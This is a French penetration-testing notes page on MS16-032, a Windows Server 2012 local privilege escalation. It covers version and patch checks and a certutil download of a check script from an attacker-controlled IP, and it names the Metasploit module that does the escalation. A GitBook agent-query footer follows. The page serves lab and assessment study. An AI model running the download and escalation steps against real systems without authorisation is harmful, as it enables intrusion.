> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/kernel-exploitation/windows-server-2012-kernel-exploitation.md).

# Windows Server 2012 - MS16-032

MS16-032 est une vulnérabilité locale d’élévation de privilèges liée au service Connexion secondaire. La faisabilité dépend de la version exacte de Windows, de l’architecture et des correctifs installés.

## Détection

```powershell
systeminfo
```

Comparez la version avec des références d’exploit connues :

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits>" %}

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032>" %}

## Confirmer l’état des correctifs

Exporter `systeminfo` et comparez les KB installées à un outil de suggestion d’exploit fiable avant d’exécuter le module.

```cmd
systeminfo > C:\Windows\Temp\systeminfo.txt
wmic qfe list brief
```

```bash
python3 wes.py systeminfo.txt --exploits-only
```

## Transférer

```bash
python3 -m http.server
```

```cmd
certutil.exe -f -urlcache -split http://10.10.14.12:8000/ms16-032-check.ps1 ms16-032-check.ps1
```

<figure><img src="/files/3e62b08f642e4cd64ddc6f74f39e027c28ba8421" alt="MS16-032 validation material transferred to Windows Server 2012"><figcaption></figcaption></figure>

## Exploitation

Module Metasploit :

```
exploit/windows/local/ms16_032_secondary_logon_handle_privesc
```

<figure><img src="/files/133f15e303f38755a5f81f884835a281e319c625" alt="MS16-032 Metasploit module" width="563"><figcaption></figcaption></figure>

Configurez la session active, l’architecture et les options de cible, puis exécutez le module uniquement après avoir confirmé que l’hôte est compatible.

<figure><img src="/files/d7f7b11b540951f81884a61078c853be41d0d5c0" alt="MS16-032 module configuration"><figcaption></figcaption></figure>

<figure><img src="/files/a53555f2a019b849ddd789a6bcf9a84fafd1f2b4" alt="Privileged session after MS16-032 exploitation"><figcaption></figcaption></figure>

## Points clés

* Validez toujours la version, l’architecture et le niveau de correctif.
* Les exploits du noyau sont fragiles ; testez-les dans un laboratoire avant de les utiliser lors d’une évaluation.
* Corrigez le problème en appliquant les mises à jour de sécurité Microsoft appropriées.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/kernel-exploitation/windows-server-2012-kernel-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
